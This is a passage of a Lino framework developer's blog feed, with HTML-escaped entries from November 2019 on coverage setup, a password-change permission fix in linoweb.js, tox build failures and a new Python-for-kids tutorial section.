as it has always been. We just need a new parameter &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-test_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in
atelier (like &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-prep_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;prep_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or  &lt;span class="target" id="index-2"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-coverage_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;coverage_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) which
defaults to something like “unit2 discover tests”.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-coverage"&gt;
&lt;h2&gt;About coverage&lt;a class="headerlink" href="#about-coverage" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I also understood a few things about coverage.
For example the official coverage for atelier was 23% until now.
That’s very low because actually we don’t yet use coverage correctly.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://coverage.readthedocs.io/en/coverage-4.3.4/subprocess.html"&gt;https://coverage.readthedocs.io/en/coverage-4.3.4/subprocess.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The second option, “Create a .pth file in your Python installation” seemed best
to me… until I read that
&lt;a class="reference external" href="https://bugs.python.org/issue33944"&gt;pth files are going to be deprecated in 3.8&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So we must edit the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;sitecustomize.py&lt;/span&gt;&lt;/code&gt; file. This file is usually defined
in the system Python:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sitecustomize&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;sitecustomize&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__file__&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;/usr/lib/python3.6/sitecustomize.py&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added this test and a warning in the &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command.  When you run
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; while not under coverage, you now get a warning.&lt;/p&gt;
&lt;p&gt;But there is more. In order to get a “full coverage report”, we must run
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt; in &lt;em&gt;all projects&lt;/em&gt;.  And &lt;em&gt;all this&lt;/em&gt; must be
covered by a single coverage report. For example&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;many parts of atelier aren’t tested by the atelier test suite, but they are
tested when we use them for testing the other projects.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Running the tests for welfare tests parts of lino or lino_xl code that are not
covered by the book test suite.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I created a file &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;run_coverage.sh&lt;/span&gt;&lt;/code&gt; in the book repository which does
exactly this.&lt;/p&gt;
&lt;p&gt;I removed the &lt;cite&gt;combine&lt;/cite&gt; and &lt;cite&gt;report&lt;/cite&gt; parts from &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because we don’t
want them for each project.&lt;/p&gt;
&lt;p&gt;It seems to work; the average coverage for all our projects was now 47%, but
this number is still not reliable because the book and getlino test suites are
currently failing.  Also the coverage report is now very long and has no
sub-total per project.  And there are still warnings that I don’t understand…&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1122.html</guid><pubDate>Fri, 22 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, November 21, 2019</title><link>https://luc.lino-framework.org/blog/2019/1121.html</link><description>&lt;section id="thursday-november-21-2019"&gt;
&lt;h1&gt;Thursday, November 21, 2019&lt;a class="headerlink" href="#thursday-november-21-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="nightly-inspiration"&gt;
&lt;h2&gt;Nightly inspiration&lt;a class="headerlink" href="#nightly-inspiration" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday I was almost decided to say that we “fix” &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3348"&gt;#3348&lt;/a&gt; by undoing
Tonis’ change and leaving the security issue for later.  But when waking up  I
had an idea how to make it.  The ls_url of an ActionFormPanel must not be a
class variable, it must be set by every instantiation.  Simply:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySettings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WindowAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;draggable&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maximizable&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;maximized&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;modal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;width&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chars2width&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hide_top_toolbar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;is_main_window&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;ls_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/users/UsersOverview&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllUsers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password_ActionFormPanel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It uses &lt;cite&gt;/users/UsersOverview&lt;/cite&gt; (and not &lt;cite&gt;/users/MySettings&lt;/cite&gt;) because
UsersOverview is also visible to alice and happens to be the first actor that is
visible to alice.&lt;/p&gt;
&lt;p&gt;The name of the ActionFormPanel subclass uses &lt;cite&gt;AllUsers&lt;/cite&gt; because that name is
given by the first actor independently of its visibility.&lt;/p&gt;
&lt;p&gt;I am talking about &lt;a class="reference external" href="https://dev.lino-framework.org/ref/javascript.html#xfile-linoweb.js" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;linoweb.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, i.e. in extjs. The problem maybe doesn’t
even exist in &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also fixed an unknown bug: the JS code created a variable &lt;cite&gt;p&lt;/cite&gt; when
instantiating an ActionFormPanel, but then didn’t use it.&lt;/p&gt;
&lt;p&gt;And &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.Users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.Users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now has &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.abstract" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;abstract&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; = &lt;cite&gt;True&lt;/cite&gt; so that Lino won’t show anything
when a curious guy manually enters an AJAX request to it. Which means that
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;complexity_factors()&lt;/span&gt;&lt;/code&gt; shows one view less.&lt;/p&gt;
&lt;p&gt;While I was there I also fixed the old problem that you get signed out when you
change your password (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2001"&gt;#2001&lt;/a&gt;).  And the SignOut action now has
&lt;cite&gt;show_in_bbar = False&lt;/cite&gt; because it is probably irritating to have it in the
toolbar of the “My preferences” window. It is available via the user menu only.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tox-ini-causing-problems"&gt;
&lt;h2&gt;tox.ini causing problems&lt;a class="headerlink" href="#tox-ini-causing-problems" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There were problems with the new &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox.ini&lt;/span&gt;&lt;/code&gt; file of book.&lt;/p&gt;
&lt;p&gt;I had again the problem I had on &lt;a class="reference internal" href="1119.html"&gt;&lt;span class="doc"&gt;Tuesday, November 19, 2019&lt;/span&gt;&lt;/a&gt;: tox failed to run the tests,
saying a long list of error messages (I reproduce those that seem relevant):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex_3&lt;/span&gt;
&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pthread&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wno&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wsign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DNDEBUG&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fwrapv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wall&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flto&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fuse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ffat&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wdate&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;D_FORTIFY_SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;
&lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
 &lt;span class="c1"&gt;#include &amp;quot;Python.h&amp;quot;&lt;/span&gt;
          &lt;span class="o"&gt;^~~~~~~~~~&lt;/span&gt;
&lt;span class="n"&gt;compilation&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x86_64-linux-gnu-gcc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So the &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;python-dev&lt;/span&gt;&lt;/code&gt; did not help…&lt;/p&gt;
&lt;p&gt;I tried to delete the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.tox&lt;/span&gt;&lt;/code&gt; directory and to run &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tox&lt;/span&gt; &lt;span class="pre"&gt;-r&lt;/span&gt;&lt;/code&gt;. No success
yet. Let’s see what it says on travis.&lt;/p&gt;
&lt;p&gt;Maybe also inv cov no longer calls inv prep ?&lt;/p&gt;
&lt;/section&gt;
&lt;section id="python-for-kids"&gt;
&lt;h2&gt;Python for kids&lt;a class="headerlink" href="#python-for-kids" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Inspired by Mustafa Anas’ post &lt;a class="reference external" href="https://www.codementor.io/mustafakharnoub/teach-your-kids-to-build-their-own-game-with-python-1-10vphy48to"&gt;teach your kids to build their own game with
Python - 1&lt;/a&gt;,&lt;/p&gt;
&lt;p&gt;Mustafa’s script didn’t work out of the box for me, but it gave me the idea of
having a collection of little examples for teaching programming to kids in the
Lino newbies corner. After all Lino is meant to be sustainable, so why not
publishing them. I started a section &lt;a class="reference external" href="https://dev.lino-framework.org/dev/newbies/kids.html#dev-kids" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Python for kids&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also remembered some never-published examples I wrote for a project with some
village kids some years ago. But they are still in Python 2, so I’ll need some
more work to convert them before publishing them.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1121.html</guid><pubDate>Thu, 21 Nov 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 20, 2019</title><link>https://luc.lino-framework.org/blog/2019/1120.html</link><description>&lt;section id="wednesday-november-20-2019"&gt;
&lt;h1&gt;Wednesday, November 20, 2019&lt;a class="headerlink" href="#wednesday-november-20-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed Tonis’s change &lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/commit/27c3c404357df61abfc398ad77d5868a9950a3c5"&gt;27c3c40&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It makes that normal users cannot change their password any more.  For example
in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; (&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/weleup/eupen.rst&lt;/span&gt;&lt;/code&gt;) we now have this
failure:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;210&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;410&lt;/span&gt; &lt;span class="mi"&gt;420&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="mi"&gt;510&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;210&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;410&lt;/span&gt; &lt;span class="mi"&gt;420&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="mi"&gt;510&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
